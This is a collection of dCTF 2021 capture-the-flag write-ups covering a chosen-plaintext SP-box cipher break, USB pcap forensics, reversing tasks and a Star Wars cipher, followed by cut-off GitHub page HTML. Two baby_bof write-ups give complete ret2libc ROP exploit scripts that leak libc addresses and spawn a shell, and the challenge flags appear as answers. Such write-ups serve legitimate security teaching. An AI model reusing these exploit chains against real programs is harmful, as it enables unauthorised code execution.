look right, it encrypts to this:HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH> 111111111111111111111111111111111111111111That doesn't look right, it encrypts to this:JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ``` The server displays the ciphertext of the messages sent,so this allows chosen-plaintext attacks on the SP box (with the caveatthat there is a limit of 150 attempts).The choice of `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`and `111111111111111111111111111111111111111111` are made because: - The messages are the same length as the initialciphertext `4q553iUUe5p'X15'5gXs54iiSXx's51g2q$%Xe4752` (42 bytes)so by the length-preserving property mentioned before,we know 42 bytes is a suitable size for the cipher.- Repeating the same symbol in the message makes the substition stage outputthe corresponding repeated symbol as well.- The repeated symbol output from the substitution stage is unchanged bythe permutation stage, because every permutation of a string with just onesymbol repeated is the string itself. The dialogue shows that, for this particular session, the substitution stagemaps `A` to `H` and `1` to `J`. Effectively this repeated symboltechnique circumvents the permutation stage and probes just the substitution stage.By doing this with all the symbols in the alphabet, the substitution stage's mappingfrom input to output symbols can be obtained. ## Obtaining the alphabet Before a repeating symbol message can be sent for each symbol in the alphabet,it is necessary to determine the alphabet.Since this is a text interface, the canonical first guess for the alphabetis python's `string.printable`: ```python# string.pywhitespace = ' \t\n\r\v\f'ascii_lowercase = 'abcdefghijklmnopqrstuvwxyz'ascii_uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'ascii_letters = ascii_lowercase + ascii_uppercasedigits = '0123456789'punctuation = r"""!"#$%&'()+,-./:;<=>?@[\]^_`{\|}~"""printable = digits + ascii_letters + punctuation + whitespace``` sending whitespace resulted in this error: ```# Space> A AThat doesn't look right, it encrypts to this:Traceback (most recent call last): File "/ctf/sp_box.py", line 51, in <module> play() File "/ctf/sp_box.py", line 42, in play print(encrypt(guess)) File "/ctf/sp_box.py", line 22, in encrypt message = [S_box[c] for c in message] File "/ctf/sp_box.py", line 22, in <listcomp> message = [S_box[c] for c in message]KeyError: ' '# Tab> a aThat doesn't look right, it encrypts to this:Traceback (most recent call last): File "/ctf/sp_box.py", line 51, in <module> play() File "/ctf/sp_box.py", line 42, in play print(encrypt(guess)) File "/ctf/sp_box.py", line 22, in encrypt message = [S_box[c] for c in message] File "/ctf/sp_box.py", line 22, in <listcomp> message = [S_box[c] for c in message]KeyError: '\t'``` and messages composed entirely of whitespace resulted in this error: ```> Traceback (most recent call last): File "/ctf/sp_box.py", line 51, in <module> play() File "/ctf/sp_box.py", line 33, in play assert 0 < len(guess) <= 10000AssertionError``` so we know that the python string containing the input is stripped of whitespace andwhitespace is not in the alphabet. This left the set of symbols defined by: ```python# Candidate alphabetalphabet = string.digits + string.ascii_letters + string.punctuation``` as the new candidate alphabet. However, when this was used, some punctuation symbolsresulted in similar errors: ```# Tilde> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~That doesn't look right, it encrypts to this:Traceback (most recent call last): File "/ctf/sp_box.py", line 51, in <module> play() File "/ctf/sp_box.py", line 42, in play print(encrypt(guess)) File "/ctf/sp_box.py", line 22, in encrypt message = [S_box[c] for c in message] File "/ctf/sp_box.py", line 22, in <listcomp> message = [S_box[c] for c in message]KeyError: '~'# Backtick> ``````````````````````````````````````````That doesn't look right, it encrypts to this:Traceback (most recent call last): File "/ctf/sp_box.py", line 51, in <module> play() File "/ctf/sp_box.py", line 42, in play print(encrypt(guess)) File "/ctf/sp_box.py", line 22, in encrypt message = [S_box[c] for c in message] File "/ctf/sp_box.py", line 22, in <listcomp> message = [S_box[c] for c in message]KeyError: '`'``` so after removal of these excluded punctuation symbols the final alphabet was found to be: ```pythonalphabet = string.digits + string.ascii_letters + r"""!"#$%'+.:;<=@_{}"""``` which has size 78. ## Obtaining the substition mapping The repeated symbol message procedure was done for each symbol in the alphabet to find thesubstitution stage's mappingusing [the pwntools CTF library](https://github.com/Gallopsled/pwntools) (see full code in appendix): ```python enc = {} for c in alphabet: conn.recvuntil(b' ') msg = ''.join(repeat(c, msg_len)) conn.sendline(msg) conn.recvline() enc[c] = conn.recvline(False)[0]``` which consumes 78 (the alphabet size) out of the 150 attempts. These probing attemptsfor the substitution stage look like the initial netcat exploration of the server,but repeated over the whole alphabet: ```[DEBUG] Sent 0x2b bytes: b'LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n'[DEBUG] Received 0x5b bytes: b"That doesn't look right, it encrypts to this:\n" b'TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT\n' b'> '[DEBUG] Sent 0x2b bytes: b'MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n'[DEBUG] Received 0x5b bytes: b"That doesn't look right, it encrypts to this:\n" b'OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\n' b'> '[DEBUG] Sent 0x2b bytes: b'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN\n'[DEBUG] Received 0x5b bytes: b"That doesn't look right, it encrypts to this:\n" b'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\n'``` where in this case it is found that `L` maps to `T`, `M` maps to `O`, and `N` maps to `e`.Once the symbol mapping used bythe substitution cipher is found, the substitution stage is broken. ## Obtaining the permutation operation To break the permutation stage, a message is sent composed of unique symbols andthe location of each corresponding substituted symbol in the ciphertext revealsthe permutation operation, which is a mapping from positions in the message to positionsin the ciphertext. In this case the first 42 (the message size) symbols of the alphabetwere used as the message: ```python msg = alphabet[:msg_len] sub = bytes(enc[c] for c in msg) conn.recvuntil(b' ') conn.sendline(msg) conn.recvline() res = conn.recvline(False) per = {sub.index(b): i for i, b in enumerate(res)}``` this probing of the permutation stage only consumes one more attempt, for a total of 79 out of the limitof 150 attempts spent on probing. The dialogue looks like this: ```[DEBUG] Sent 0x2b bytes: b'0123456789abcdefghijklmnopqrstuvwxyzABCDEF\n'[DEBUG] Received 0x5b bytes: b"That doesn't look right, it encrypts to this:\n" b'raM=$zPE2ZGm9NQ\'JpD67"_U4!.;LB:gYvFjoAbsC8\n'``` where we can see the message is `0123456789abcdefghijklmnopqrstuvwxyzABCDEF` and thepositions of the corresponding substituted symbols in the ciphertext identify the permutation mapping,which breaks the permutation stage. ## Decrypting the original ciphertext The decryption process is simply inverting the permutation and then inverting the substitution.Restore the substituted symbols back to their proper order and replace them with the original symbols: ```python dec = {b: c for c, b in enc.items()} conn.recvuntil(b' ') target_inv = ''.join(dec[target[per[i]]] for i in range(msg_len)) conn.sendline(target_inv) print(conn.recvall())``` which gives dialogue for the final (80th out of a limit of 150) attempt: ```[DEBUG] Received 0x58 bytes: b"Here's the flag, please decrypt it for me:\n" b'gYqqy4!!JqZpEQqpq8E"qg44_ENp"qQ86YH=EJgfq6\n'# 79 Probing attempts for substitution and permutation stages described previously[DEBUG] Sent 0x2b bytes: b'dctf{S0_y0u_f0und_th3_cycl3s_in_th3_s_b0x}\n'[x] Receiving all data[x] Receiving all data: 0B[DEBUG] Received 0x43 bytes: b'Well done. The flag is:\n' b'dctf{S0_y0u_f0und_th3_cycl3s_in_th3_s_b0x}\n'[x] Receiving all data: 67B[+] Receiving all data: Done (67B)[] Closed connection to dctf1-chall-sp-box.westeurope.azurecontainer.io port 8888b'Well done. The flag is:\ndctf{S0_y0u_f0und_th3_cycl3s_in_th3_s_b0x}\n'``` so the flag is `dctf{S0_y0u_f0und_th3_cycl3s_in_th3_s_b0x}`. ## Potential optimization The repeated symbol message probing technique is not the most optimalmethod for discovering the substitution cipher's mapping.The permutation operation also has the property of cardinality preservation,meaning the cardinality (number of occurrences) of a symbol in a stringis unchanged after the string is permuted.By using this property, the substitution mapping can be found in less than78 (alphabet size) probing attempts. Each probing attempt no longer contains a single repeatedsymbol, but instead contains as many different symbols as possible, with the constraintthat the cardinalities of the symbols are unique and add to 42 (the message size).Then each input symbol's corresponding substituted symbol can be identified as the substituted symbolwith the same cardinality as the input symbol. For example, one such probing message couldbe `011222333344444555555666666677777777777777`, wheresymbol i has cardinality i+1 for i=0,...,6 and symbol `7` has cardinality 14instead of 8 becausethe addition of a symbol `8` with cardinality 9 together with a cardinality 8 symbol `7` wouldoverflow the message size of 42. A dialogue with this message is: ```> 011222333344444555555666666677777777777777That doesn't look right, it encrypts to this:5_"5Q"aE5_"5@"aL"_"5@"aL"_"5@"aQ"_"5@"aQ"a``` where `0` maps to `E` (cardinality 1), `1` maps to `L` (cardinality 2), `2` maps to `Q` (cardinality 3),and so on, ending with `7` mapping to `"` (cardinality 14).So in this case with message size 42 each substitution mapping probing message can uncover the mappingfor at most eight symbols, and since the alphabet size is 78 the whole substitution mapping can be foundin ten probing messages. This means the attack could have taken only eleven probing attempts in totalto execute(ten messages for the substitution stage, one for the permutation stage, andnot including the final successful flag message attempt).However, the limit of 150 attempts for this challenge meant that this optimization was notnecessary. ## Appendix The full code is: ```pythonimport stringfrom pwn import from itertools import def main(): with context.local(log_level='debug'): conn = remote('dctf1-chall-sp-box.westeurope.azurecontainer.io', 8888) conn.recvline() target = conn.recvline(False) alphabet = string.digits + string.ascii_letters + r"""!"#$%'+.:;<=@_{}""" msg_len = len(target) enc = {} for c in alphabet: conn.recvuntil(b' ') msg = ''.join(repeat(c, msg_len)) conn.sendline(msg) conn.recvline() enc[c] = conn.recvline(False)[0] msg = alphabet[:msg_len] sub = bytes(enc[c] for c in msg) conn.recvuntil(b' ') conn.sendline(msg) conn.recvline() res = conn.recvline(False) per = {sub.index(b): i for i, b in enumerate(res)} dec = {b: c for c, b in enc.items()} conn.recvuntil(b' ') target_inv = ''.join(dec[target[per[i]]] for i in range(msg_len)) conn.sendline(target_inv) print(conn.recvall()) if __name__ == '__main__': main()```
Description: The secretary of earth defense has been kidnapped. We have sent our elite team on the enemy's base to find his location. Our team only managed to intercept this traffic. Your mission is to retrieve secretary's hidden location. Stars: 1/5 Downloadable:key_mission.pcap - a USB pcap Goal: Get flag from the USB pcap Solution: Very similar challenge to the ones on NahamCon and Tenable CTFs: https://github.com/lasq88/CTF/tree/main/tenableCTF2021/cat%20tapshttps://github.com/lasq88/CTF/tree/main/nahamconctf2021/%5Bforensics%5D%20henpeck Read these write=ups to learn more. Only difference here was a slight modification to the script to actually involve repeated characters in the flag (except for when there was a capital letter followed by lowercase letter) when user pressed 2 keys at the same time. In previous challenges these were not included (it's more consistent with specifications imho).
# dCTF Tiny Interpreter Write Up ## Details: Jeopardy style CTF Points: 400 Category: Reverse Engineering Comments: We wrote an interpreter just so we can run our own binaries. Can you figure it out? ## Write up: After this challenge we kind of gave up on this CTF because it showed the lack of attention and effort put into these challenges. For this challenge we were given the interpreter and then a file named bin. Running the interpreter by itself you got: ```./interpreter Usage:./interpreter <program you want to run>``` So then I ran the program with the bin file and got: ```./interpreter bin Interpreter_written_in_C_is_a_great_idea``` And the flag was: ```dctf{Interpreter_written_in_C_is_a_great_idea}```
Preface------- We got a simple binary with output ```plz don't rop me``` and after our input ```plz don't rop me```Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04 Overview-------- Based on the output, we know it was a rop challenge.Also ```checksec baby_bof``` gave us. ```Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)``` Loading the binary into ghidra I can calculate the offset of the return address. So I knew, that after writing 18 characters I could overwrite the return address and control the code flow. First I tried if I could do a rop only with the binary, but neither Ropper nor RopGadget found enough gadgets.So I had to use libc. For this I first needed to get the address where libc was loaded. In order for this I leaked the address of _got.fgets_.If I then substract the address of fgets in libc, I could get the base address of libc.After the leak I would rerun the vulnerable function to make our next input. Then I could use _system_ and ```/bin/sh``` from libc to get a shell. But somehow this did work on my local machine and not remote. Because I didn't see my error, I gave up and continued with other challenges.Short before the end, I wanted to finish this challenge, so I gave it another try. I thought, that maybe my local system had a different libc.So I downloaded the [root](https://github.com/tianon/docker-brew-ubuntu-core/blob/4b7cb6f04bc4054f9ab1fa42b549caa1a41b7c92/focal/ubuntu-focal-core-cloudimg-amd64-root.tar.gz) from Github.From their I could extract the libc and loading them side by side showed me the offsets were wrong. But even with this change it didn't work.Because I thought it could still be some error with the offset, I tried to print ```/bin/sh``` with puts.The printout was correctly and I successfully had a shell. From their I could cat the flag and the challenge was solved. I didn't understanding why it worked. Testing some bits showed, that their was some call needed before the system or it woudln't work.I modified my script, to just include a ```ret-Gadget``` and my final exploit code was. ```Python#!/usr/bin/env python3from pwn import * context.arch = 'amd64'context.kernel = 'amd64'#context.log_level = "DEBUG"context.log_level = "INFO" context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] vulnerable = './baby_bof' elf = ELF(vulnerable)libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')libc2 = ELF('./libc.so.6') #p = elf.process()#p = remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481) p.readuntil('plz don\'t rop me') fgets_got = elf.symbols['got.fgets']fgets_libc = libc2.symbols['fgets']system_libc = libc2.symbols['system']sh_libc= next(libc2.search(b'/bin/sh'))ret = next(elf.search(asm('ret'))) rop = ROP(elf)rop.puts(fgets_got)rop.call(elf.symbols['vuln']) p.sendline(b'\x41'18 + bytes(rop)) p.recvuntil("i don't think this will work\n") fgets_address = p.recvuntil("\n")[:-1]fgets_address = u64(fgets_address + b'\x00'(8-len(fgets_address)))libc_address = (fgets_address - fgets_libc)system_address = system_libc + libc_addresssh_address = sh_libc + libc_addresself.symbols['system'] = system_address p.readuntil('plz don\'t rop me') rop = ROP(elf)rop.system(sh_address) p.sendline(b'\x41'*18 + p64(ret) + bytes(rop)) p.recvuntil("i don't think this will work\n") p.interactive()``` The flag was located in a file called flag.txt. ```dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}```
# dCTF Bell Write Up ## Details: Jeopardy style CTF Points: 100 Category: Reverse Engineering Comments: Blaise's friends like triangles too!nc dctf-chall-bell.westeurope.azurecontainer.io 5311 ## Write up: Decompiling the program I got that the main function was: ```cint __cdecl main(int argc, const char argv, const char envp){ unsigned int v3; unsigned int v5; v3 = time(0LL); srand(v3); v5 = rand() % 5 + 8; printf("%d\n", v5); process(v5); return 0;}``` I saw that what I needed was inside of process so I decompiled that too: ```c__int64 __fastcall process(int a1){ int v2; int i; __int64 v4; __int64 v5; unsigned __int64 v6; v6 = __readfsqword(0x28u); v2 = 1; for ( i = 1; i <= a1; ++i ) { v5 = triangle((unsigned int)a1, (unsigned int)i); __isoc99_scanf(&unk_AA4, &v4;; if ( v5 != v4 ) v2 = 0; } if ( v2 == 1 ) system("cat flag.txt"); else puts("Better luck next time."); return 0LL;}``` From the looks of the code I looped through whatever random number of times and then had to enter the number that triangle would spit out. I then decompiled triangle: ```c__int64 __fastcall triangle(unsigned int a1, int a2){ __int64 v3; if ( a2 > (int)a1 ) return 0LL; if ( a1 == 1 && a2 == 1 ) return 1LL; if ( a2 == 1 ) return triangle(a1 - 1, a1 - 1); v3 = triangle(a1, (unsigned int)(a2 - 1)); return v3 + triangle(a1 - 1, (unsigned int)(a2 - 1));}``` This was just a function that did some math so I decided to make a python script to do the same: ```py# import pwn from pwn import * # open remote connectionr = remote("dctf-chall-bell.westeurope.azurecontainer.io", 5311) # get the first linenum = r.recvline() # turn the line into a numbernum = int(num.decode().replace("\n", "")) # triangle functiondef triangle(a1, a2): if a2 > a1: return 0 if a1 == 1 and a2 == 1: return 1 if a2 == 1: return triangle(a1-1, a1-1) v3 = triangle(a1, a2 -1) return v3 + triangle(a1-1, a2-1) # loop through X amount of timesfor i in range(1, num + 1): # send the calculated value r.sendline(str(triangle(num, i))) # print the flagprint(r.recvline())``` When run I got: ```[+] Opening connection to dctf-chall-bell.westeurope.azurecontainer.io on port 5311: Doneb'dctf{f1rst_step_t0wards_b3ll_l4bs}\n'```
# Baby bof In this challenge you are given a binary, `baby_bof` and a dockerfile, and you are required to find the flag, presumably through `system('/bin/sh')`. Running the binary, you get the following output, with the input being `asdf`:```$ ./baby_bofplz don't rop measdfi don't think this will work```So, opening up the binary in Radare2 and running the `i` command:```[0x004005f2]> ifd 3file baby_bofsize 0x20d8humansz 8.2Kmode r-xformat elf64iorw falseblock 0x100type EXEC (Executable file)arch x86baddr 0x400000binsz 6549bintype elfbits 64canary falseclass ELF64compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0crypto falseendian littlehavecode trueintrp /lib64/ld-linux-x86-64.so.2laddr 0x0lang clinenum truelsyms truemachine AMD x86-64 architecturemaxopsz 16minopsz 1nx trueos linuxpcalign 0pic falserelocs truerelro partialrpath NONEsanitiz falsestatic falsestripped falsesubsys linuxva true```We see that this binary has no stack canary and isn't a PIE. So, this is a candidate for a stack buffer overflow. Coming back to r2, we look in the disassembly of `main` and see that it runs `vuln`.`vuln` is just a basic buffer overflow vulnerability: it gets `0x100` bytes into a `0x10` byte buffer with `fgets`.```┌ 59: sym.vuln ();│ ; var char s @ rbp-0xa│ 0x004005b7 55 push rbp│ 0x004005b8 4889e5 mov rbp, rsp│ 0x004005bb 4883ec10 sub rsp, 0x10│ 0x004005bf 488d3dde0000. lea rdi, str.plz_dont_rop_me ; 0x4006a4 ; "plz don't rop me" ; const char s│ 0x004005c6 e8d5feffff call sym.imp.puts ;[2] ; int puts(const char s)│ 0x004005cb 488b156e0a20. mov rdx, qword [obj.stdin] ; obj.__TMC_END__│ ; [0x601040:8]=0 ; FILE stream│ 0x004005d2 488d45f6 lea rax, [s]│ 0x004005d6 be00010000 mov esi, 0x100 ; 256 ; int size│ 0x004005db 4889c7 mov rdi, rax ; char s│ 0x004005de e8ddfeffff call sym.imp.fgets ;[3] ; char fgets(char s, int size, FILE stream)│ 0x004005e3 488d3dcb0000. lea rdi, str.i_dont_think_this_will_work ; 0x4006b5 ; "i don't think this will work" ; const char s│ 0x004005ea e8b1feffff call sym.imp.puts ;[2] ; int puts(const char s)│ 0x004005ef 90 nop│ 0x004005f0 c9 leave└ 0x004005f1 c3 ret``` So, what is our goal? Preferably, `/bin/sh`. How can we do that relatively easily, with a ROP chain and no pre-existing code? Ret2libc. That's where the `Dockerfile` comes in. Looking in the dockerfile, you see it pulls a certain version of Ubuntu.Except if Ubuntu 20.04 has updated its glibc during the CTF, the glibc installed in this dockerfile should be the exact same build as the one on the remote system. So, to get the glibc:```bashmkdir tmp && cd $_cp ../Dockerfile .docker build .docker images \| head -2 # copy the image's ID, in my case it's b9513f2c6b0ddocker image save b9513f2c6b0d > img.tartar xf img.tarfor f in `ls /layer.tar`; do tar xf $fdonecp `find -name libc.so.6` ..``` Now we have the glibc, lets find some offsets. What do we need offsets for, though? ## First chain Thinking ahead, we should get the offset for a function in the GOT that has already been called before the exploit runs. Lets pick `fgets()`. So, to find `fgets()` in `libc.so.6`, we open it up in Radare2, run the `aaaa` command to analyse the binary, and then run the command `s sym.fgets`.This leaves us at the address `0x000857b0`, where `0x0` is the base address.Next, we want the address of `system()`. Through the same process as `fgets()`, we find the offset `0x00055410`. Finally, we want the string `/bin/sh`. To find this, run the `/ /bin/sh` in Radare2 to get the offset `0x001b75aa`. Now we have all our offsets, we can start searching for gadgets to construct our ROP chain. First, we want gadgets to print the address of `fgets()` in glibc so that we can use this to calculate offsets.So, we need a gadget to `pop rdi`. Using `ropper -f baby_bof --search 'pop rdi'` we get the gadget `pop rdi; ret;` at `0x400683`, which is optimal. Next, we need a function to call and some arguments to apply. I've picked the function `puts()`, and will be accessing it via the Procedure Linkage Table. So, we run `s sym.imp.puts` in r2 to get the address `0x4004a0`.As an argument, we will have the GOT entry of `fgets()`, so that we can leak the libc address. To find this, just run `s sym..got.plt` in r2, and find the address of `reloc.fgets`, which is `0x601028` in our case. Finally, we need a return address. Because we want to run another chain after this, we just set this to the start of `vuln`, so `0x4005b8` (not `0x4005b7` because we messed up our base pointer in the previous chain). So, joining it all together:```pythonfrom pwn import fgets_offset = 0x0857b0str_bin_sh_offset = 0x1b75aasystem_offset = 0x055410 poprdi = p64(0x400683)puts_plt = p64(0x4004a0)fgets_got = p64(0x601028)vuln = p64(0x4005b8) payload = (b'\x41'18) + poprdi + fgets_got + puts_plt + vuln```I found the offset of 18 by stepping through the execution in PwnDbg. Now, when we send this to our server, it sends back the address of `fgets` in glibc. Now, from that we can calculate our absolute addresses for `/bin/sh` and `system()` in glibc. ## Second chain This chain just uses our calculated libc addresses to pop a shell:```python...recvd = # get received address and convert it to an integerbase = recvd - fgets_offset str_bin_sh = p64(base + str_bin_sh_offset)system = p64(base + system_offset) payload = (b'\x41'18) + poprdi + str_bin_sh + system``` The final script is in [sol.py](https://github.com/tacopeland/CTF-Writeups/blob/main/dctf2021/Baby%20bof/sol.py).
# Encrypted the flag I have ## Description Decrypted flag is not in exact format. ## Solution For this challenge, we receive a picture. Apparently, there is a string of unknown characters. Although, if we pay attention to the title of the challenge, we'll be able to understand that that's a Star Wars reference. At this point, we can find on the internet a translator or a human alphabet reference to translate the string. ![](img1.png)#### FLAG >> `dctf{mastercodebreaker}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" 